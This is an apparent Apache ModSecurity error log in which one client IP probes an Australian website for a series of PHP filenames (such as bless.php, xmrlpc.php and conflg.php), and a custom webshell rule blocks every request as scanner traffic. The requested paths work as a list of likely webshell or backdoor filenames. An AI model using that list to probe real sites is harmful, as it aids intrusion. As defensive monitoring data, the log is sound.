[Thu Dec 18 21:58:47.643268 2025] [:error] [pid 24433:tid 24457] [client 4.190.217.214:9038] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/max.php"] [unique_id "aUQIl54pN9ycmipm8TjjyAAAARU"]
[Thu Dec 18 21:58:48.437446 2025] [:error] [pid 23558:tid 23629] [client 4.190.217.214:9103] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/max.php"] [unique_id "aUQImOHam9NbgPQa9uYxyQAAAM4"]
[Thu Dec 18 21:58:49.665113 2025] [:error] [pid 12035:tid 12065] [client 4.190.217.214:9160] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/max.php"] [unique_id "aUQImbcVHrNSHjCo-0qg4QAAAhY"]
[Thu Dec 18 21:58:50.521114 2025] [:error] [pid 12383:tid 12394] [client 4.190.217.214:9093] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aUQImvdgllo9h1cyxGbPgQAAAsg"]
[Thu Dec 18 21:58:51.664971 2025] [:error] [pid 24433:tid 24452] [client 4.190.217.214:9024] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aUQIm54pN9ycmipm8TjjzgAAARA"]
[Thu Dec 18 21:58:52.588367 2025] [:error] [pid 12383:tid 12398] [client 4.190.217.214:9048] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aUQInPdgllo9h1cyxGbPjQAAAsw"]
[Thu Dec 18 21:58:52.903798 2025] [:error] [pid 23645:tid 23660] [client 4.190.217.214:9029] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aUQInDf_Rx0Y0ao_QJhoAwAAAI0"]
[Thu Dec 18 21:58:53.563943 2025] [:error] [pid 12035:tid 12051] [client 4.190.217.214:9214] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aUQInbcVHrNSHjCo-0qg5QAAAgk"]
[Thu Dec 18 21:58:54.237947 2025] [:error] [pid 25357:tid 25379] [client 4.190.217.214:9190] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aUQInoaT7bsEXnJVfJd2DgAAAdQ"]
[Thu Dec 18 21:58:54.986991 2025] [:error] [pid 24542:tid 24547] [client 4.190.217.214:9110] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aUQInktQz4H2oS3NrDYrfwAAAUM"]
[Thu Dec 18 21:58:56.655708 2025] [:error] [pid 12239:tid 12245] [client 4.190.217.214:9184] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aUQIoNNnXxfGIuWO6akndAAAAoE"]
[Thu Dec 18 21:58:57.417356 2025] [:error] [pid 12239:tid 12267] [client 4.190.217.214:9097] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "aUQIodNnXxfGIuWO6akndwAAApc"]
[Thu Dec 18 21:58:58.025926 2025] [:error] [pid 23645:tid 23655] [client 4.190.217.214:9033] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "aUQIojf_Rx0Y0ao_QJhoBwAAAIg"]
[Thu Dec 18 21:58:58.836388 2025] [:error] [pid 23558:tid 23622] [client 4.190.217.214:9027] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "aUQIouHam9NbgPQa9uYx1wAAAMc"]
[Thu Dec 18 21:58:59.278141 2025] [:error] [pid 12239:tid 12261] [client 4.190.217.214:9137] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "aUQIo9NnXxfGIuWO6aknfgAAApE"]
[Thu Dec 18 21:58:59.719877 2025] [:error] [pid 23645:tid 23667] [client 4.190.217.214:9136] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aUQIozf_Rx0Y0ao_QJhoCwAAAJQ"]
[Thu Dec 18 21:59:00.117323 2025] [:error] [pid 12239:tid 12259] [client 4.190.217.214:9113] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aUQIpNNnXxfGIuWO6akngAAAAo8"]
[Thu Dec 18 21:59:00.520651 2025] [:error] [pid 23558:tid 23630] [client 4.190.217.214:13255] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aUQIpOHam9NbgPQa9uYx2QAAAM8"]
[Thu Dec 18 21:59:00.871566 2025] [:error] [pid 23645:tid 23669] [client 4.190.217.214:9127] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aUQIpDf_Rx0Y0ao_QJhoDQAAAJY"]
[Thu Dec 18 21:59:01.168439 2025] [:error] [pid 23558:tid 23624] [client 4.190.217.214:9083] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vv.php"] [unique_id "aUQIpeHam9NbgPQa9uYx3AAAAMk"]
[Thu Dec 18 21:59:01.593142 2025] [:error] [pid 12035:tid 12045] [client 4.190.217.214:9133] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vv.php"] [unique_id "aUQIpbcVHrNSHjCo-0qg8gAAAgM"]
[Thu Dec 18 21:59:07.754473 2025] [:error] [pid 23558:tid 23636] [client 4.190.217.214:8985] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aUQIq-Ham9NbgPQa9uYx7gAAANU"]
[Thu Dec 18 21:59:08.206838 2025] [:error] [pid 24542:tid 24567] [client 4.190.217.214:9030] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aUQIrEtQz4H2oS3NrDYrjwAAAVc"]
[Thu Dec 18 21:59:08.634876 2025] [:error] [pid 24958:tid 24984] [client 4.190.217.214:9081] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aUQIrMkDOrUkd0wNm2HWJgAAAZc"]
[Thu Dec 18 21:59:09.154509 2025] [:error] [pid 24542:tid 24557] [client 4.190.217.214:9067] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aUQIrUtQz4H2oS3NrDYrkQAAAU0"]
[Thu Dec 18 21:59:09.570168 2025] [:error] [pid 25357:tid 25376] [client 4.190.217.214:8998] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aUQIrYaT7bsEXnJVfJd2GAAAAdE"]
[Thu Dec 18 21:59:09.914666 2025] [:error] [pid 24433:tid 24436] [client 4.190.217.214:9036] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aUQIrZ4pN9ycmipm8Tjj4gAAAQA"]
[Thu Dec 18 21:59:10.370896 2025] [:error] [pid 25357:tid 25368] [client 4.190.217.214:9177] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aUQIroaT7bsEXnJVfJd2GwAAAck"]
[Thu Dec 18 21:59:10.690700 2025] [:error] [pid 24542:tid 24565] [client 4.190.217.214:9032] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aUQIrktQz4H2oS3NrDYrkwAAAVU"]
[Thu Dec 18 21:59:11.049081 2025] [:error] [pid 23556:tid 23574] [client 4.190.217.214:9069] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aUQIrxnmLlk3u5yt9kH0QwAAAA4"]
[Thu Dec 18 21:59:11.541411 2025] [:error] [pid 23645:tid 23656] [client 4.190.217.214:9135] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aUQIrzf_Rx0Y0ao_QJhoFgAAAIk"]
[Thu Dec 18 21:59:11.797754 2025] [:error] [pid 12035:tid 12054] [client 4.190.217.214:9101] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aUQIr7cVHrNSHjCo-0qhAQAAAgs"]
[Thu Dec 18 21:59:12.175034 2025] [:error] [pid 23645:tid 23654] [client 4.190.217.214:13310] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aUQIsDf_Rx0Y0ao_QJhoGAAAAIc"]
[Thu Dec 18 21:59:12.503120 2025] [:error] [pid 12035:tid 12057] [client 4.190.217.214:9070] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aUQIsLcVHrNSHjCo-0qhBAAAAg4"]
[Thu Dec 18 21:59:13.230616 2025] [:error] [pid 12383:tid 12393] [client 4.190.217.214:8963] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aUQIsfdgllo9h1cyxGbPswAAAsc"]
[Thu Dec 18 21:59:13.647252 2025] [:error] [pid 23556:tid 23568] [client 4.190.217.214:9144] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aUQIsRnmLlk3u5yt9kH0SQAAAAg"]
[Thu Dec 18 21:59:14.441273 2025] [:error] [pid 12383:tid 12396] [client 4.190.217.214:9089] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aUQIsvdgllo9h1cyxGbPuAAAAso"]
[Thu Dec 18 21:59:15.182451 2025] [:error] [pid 24542:tid 24563] [client 4.190.217.214:9114] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aUQIs0tQz4H2oS3NrDYrlwAAAVM"]
[Thu Dec 18 21:59:15.558064 2025] [:error] [pid 23645:tid 23660] [client 4.190.217.214:9053] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aUQIszf_Rx0Y0ao_QJhoIAAAAI0"]
[Thu Dec 18 21:59:16.158792 2025] [:error] [pid 25357:tid 25370] [client 4.190.217.214:9057] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aUQItIaT7bsEXnJVfJd2JQAAAcs"]
[Thu Dec 18 21:59:16.686066 2025] [:error] [pid 23645:tid 23649] [client 4.190.217.214:8970] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aUQItDf_Rx0Y0ao_QJhoIwAAAII"]
[Thu Dec 18 21:59:17.306351 2025] [:error] [pid 23645:tid 23653] [client 4.190.217.214:9193] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aUQItTf_Rx0Y0ao_QJhoJgAAAIY"]
[Thu Dec 18 21:59:17.901836 2025] [:error] [pid 24542:tid 24560] [client 4.190.217.214:9188] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aUQItUtQz4H2oS3NrDYrmgAAAVA"]
[Thu Dec 18 21:59:18.383780 2025] [:error] [pid 12035:tid 12048] [client 4.190.217.214:9075] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aUQItrcVHrNSHjCo-0qhCgAAAgY"]
[Thu Dec 18 21:59:18.857291 2025] [:error] [pid 24433:tid 24457] [client 4.190.217.214:9051] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aUQItp4pN9ycmipm8Tjj7AAAARU"]
[Thu Dec 18 21:59:19.182102 2025] [:error] [pid 12383:tid 12408] [client 4.190.217.214:9068] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aUQIt_dgllo9h1cyxGbPuQAAAtY"]
[Thu Dec 18 21:59:19.584048 2025] [:error] [pid 24542:tid 24552] [client 4.190.217.214:9079] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aUQIt0tQz4H2oS3NrDYroAAAAUg"]
[Thu Dec 18 21:59:20.034798 2025] [:error] [pid 23645:tid 23671] [client 4.190.217.214:8984] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aUQIuDf_Rx0Y0ao_QJhoLgAAAJg"]
[Thu Dec 18 21:59:20.876812 2025] [:error] [pid 12035:tid 12067] [client 4.190.217.214:9150] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aUQIuLcVHrNSHjCo-0qhDgAAAhg"]
[Thu Dec 18 21:59:21.501723 2025] [:error] [pid 24542:tid 24567] [client 4.190.217.214:9020] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aUQIuUtQz4H2oS3NrDYrpgAAAVc"]
[Thu Dec 18 21:59:21.820635 2025] [:error] [pid 24433:tid 24460] [client 4.190.217.214:8991] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aUQIuZ4pN9ycmipm8Tjj8QAAARg"]
[Thu Dec 18 21:59:22.555629 2025] [:error] [pid 23556:tid 23565] [client 4.190.217.214:9130] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aUQIuhnmLlk3u5yt9kH0VAAAAAU"]
[Thu Dec 18 21:59:23.078974 2025] [:error] [pid 12383:tid 12402] [client 4.190.217.214:9077] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aUQIu_dgllo9h1cyxGbPvAAAAtA"]
[Thu Dec 18 21:59:23.351457 2025] [:error] [pid 23645:tid 23664] [client 4.190.217.214:8979] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aUQIuzf_Rx0Y0ao_QJhoMAAAAJE"]
[Thu Dec 18 21:59:23.852302 2025] [:error] [pid 12383:tid 12409] [client 4.190.217.214:8978] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aUQIu_dgllo9h1cyxGbPvwAAAtc"]
[Thu Dec 18 21:59:24.371436 2025] [:error] [pid 12383:tid 12388] [client 4.190.217.214:8960] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aUQIvPdgllo9h1cyxGbPwQAAAsI"]
